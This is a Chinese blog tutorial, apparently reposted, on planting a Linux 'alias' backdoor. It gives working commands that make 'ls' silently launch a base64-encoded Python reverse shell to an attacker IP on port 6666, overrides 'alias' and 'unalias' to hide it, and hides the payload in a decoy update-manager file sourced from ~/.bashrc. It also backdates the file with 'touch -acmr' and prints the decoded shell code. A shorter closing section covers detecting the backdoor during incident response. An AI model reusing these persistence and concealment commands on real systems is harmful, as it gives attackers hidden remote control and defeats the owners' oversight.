暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

LINUX留后门--教程(七)—— alias 后门

W小哥 2021-08-02
1225

一、 alias 简介

alias 命令的功能: 为命令设置别名。

比如: 每次输入 ls 命令的时候都能实现 ls -al

    alias ls = 'ls -al'
    复制

    注意: 对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了。

    二、 alias 使用方法

    2.1 系统默认的别名

    系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行查看

    这里有我们熟悉的 ll
     命令,这个命令的真实含义其实是 ls -alF

    可以看到我们可以直接执行 ll
     来短缩命令的长度

    2.2 别名的设置与查看

    查看别名
    如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,以 ll
     命令为例

    设置别名
    例: 设置一个别名 alias getpwd = 'cat etc/passwd'

    删除别名
    unalias 别名

      unalias getpwd
      复制

      2.3 默认的别名是怎么出现的?

      在 ~/.bashrc
       配置文件中

        cat ~/.bashrc|grep alias
        复制

        同时,普通账户也存在 .bashrc 文件

        注意:
        系统启动默认加载的配置文件,比如:/etc/profile 、 etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout

          /etc/profile
          复制

          【系统级】 Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile

            /etc/bashrc
            复制

            【系统级】 在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell

              ~/.bashrc
              复制

              【用户级】 当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响

                ~/.bash_profile && ~./bash_login
                复制

                【用户级】
                如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile

                如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile
                 而不是~/.bash_login

                  ~/.bash_logout
                  复制

                  【用户级】 当每次退出系统(退出bash shell)时执行该文件


                  三、 alias 后门

                  前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
                  靶机 IP: 192.168.241.142 (Ubuntu)
                  攻击IP: 192.168.241.128 (kali)


                  3.1 alias 的特点

                  1、alias 在设置 ls=“xxxx” 中,设置别名和设置变量很相似,都是可以进行传递的

                    alias ls='ls --color=auto' //设置别名
                    复制

                      alias lstest="ls" //给别名再设置别名
                      复制

                        alias ls='ls --color=auto;pwd'//设置别名时加入参数
                        复制

                        2、alias 不支持参数传递,只有函数才支持参数传递

                          alias ls='func(){ ls $1 --color=auto;pwd;};func'
                          复制


                          3.1 alias 后门

                          根据 alias 特点制作后门

                          后门命令:

                            alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'


                            alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'


                            alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
                            复制

                            执行完命令之后,输入 ls 命令查询,就会触发后门,但是ls查询的结果跟正常的 ls 命令一摸一样,检查不出来异常

                            但是此时后门已经触发,反弹 shell 到 kali 了

                            此时可以查看一下 ubutu的 连接,确实与192.168.241.128的6666端口建立连接,alias 后门执行成功

                              netstat -anpt 
                              复制

                              base64解密后的内容:

                                import os,socket,subprocess;
                                ret = os.fork()
                                if ret > 0:
                                exit()
                                else:
                                try:
                                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                s.connect(("192.168.241.128", 6666))
                                os.dup2(s.fileno(), 0)
                                os.dup2(s.fileno(), 1)
                                os.dup2(s.fileno(), 2)
                                p = subprocess.call(["/bin/sh", "-i"])
                                except Exception as e:
                                        exit()
                                复制


                                3.2 alias 后门隐藏

                                目标: 隐藏起来,并且能够让所有登录的人直接就中招

                                那么,肯定是离不开开机自启的程序或者配置文件了,但是常见的几个文件,比如: /etc/profile 、 etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
                                ,因为大家都知道了,不太隐蔽

                                所以选择 ~/.bash_aliases 文件,默认不会有,但是在 ~/.bashrc 中默认加载


                                第一步: 查看目录 etc/update-manager/ 如图所示,默认就含有下图这几个文件,那么我们可以增加一个有迷惑性的目录和文件名,之后设置加载


                                第二步: 增加一个文件 release-update 内容如下图所示:

                                  alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'


                                  alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'


                                  alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
                                  复制

                                  增加完 release-update 文件之后,查看该目录如下图所示,新增加的文件就像系统本身文件,很有迷惑性。


                                  第三步: 将 release-update 文件插进 ~/.bashrc 自启动程序中
                                  ~/.bashrc 文件默认内容

                                    cat ~/.bashrc
                                    复制

                                    在 ~/.bashrc 文件最后面添加内容:

                                      #enable software update with apt
                                      #See etc/apt/source.d/ in the apt package.
                                      if [ -f etc/update-manager/release-update ]; then
                                      . etc/update-manager/release-update
                                      fi
                                      复制

                                      添加完之后,保存 ~/.bashrc 文件

                                      但是新建的 release-update 文件,用 stat 一看就看出来了,所以要修改后门文件的时间与同目录名称相似的文件的 时间相同

                                        stat etc/update-manager/release-update
                                        sudo touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update
                                        复制


                                        第四步: 触发后门,验证后门
                                        在 kali 上 ssh 远程登录 ubuntu 靶机

                                          ssh zyr@192.168.241.142
                                          复制

                                          成功登录后,执行 命令 ls
                                           就会触发后门

                                          nc监听 6666 端口,成功接收反弹回来的 shell


                                          四、alias 后门——应急响应发现


                                          第一步:查看所有连接
                                          发现与 192.168.241.128:6666 的异常连接,应该是反弹的shell连接

                                            netstat -anpt
                                            复制


                                            第二步:通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

                                              ps aux |grep 7737
                                              复制

                                              查看 PID 为7737的 PPID,发现是1


                                              第三步:查看别名
                                              发现了异常别名


                                              使用命令unalias alert
                                               可以删除别名,但是下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门

                                              写进了 系统的启动程序和配置文件中,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
                                              才会导致,每次登录服务器就会重新触发 alias 后门


                                              第四步:
                                              那么检查这些启动程序和配置文件是否被篡改

                                                stat ~/.bash_profile 
                                                stat /etc/profile
                                                .......
                                                复制

                                                通过检查文件被修改的时间可以看出,只有 ~/.bashrc 文件的修改日期是最近的日期,其它的日期时间都很久


                                                第五步:
                                                把 ~/.bashrc 文件下载下来与一个正常的 ~/.bashrc 文件进行对比,对比之后确实发现异常,被修改的部分如下所示

                                                根据在被篡改过的 ~/.bashrc 文件 发现的新增加的内容线索

                                                  ```bash
                                                  #enable software update with apt
                                                  #See /etc/apt/source.d/ in the apt package.
                                                  if [ -f /etc/update-manager/release-update ]; then
                                                  . /etc/update-manager/release-update
                                                  fi
                                                  复制

                                                  查找 /etc/update-manager/release-update 文件,看看是啥?

                                                    cat  /etc/update-manager/release-update
                                                    复制

                                                    看下图所示,base64解密之后,正是 alias 后门文件

                                                    参考链接:https://cloud.tencent.com/developer/article/1683267


                                                    更多资源:

                                                    1、web安全工具、渗透测试工具
                                                    2、存在漏洞的网站源码与代码审计+漏洞复现教程、
                                                    3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
                                                    4、应急响应真实案例复现靶场与应急响应教程

                                                    收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥



                                                    文章转载自W小哥,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                    评论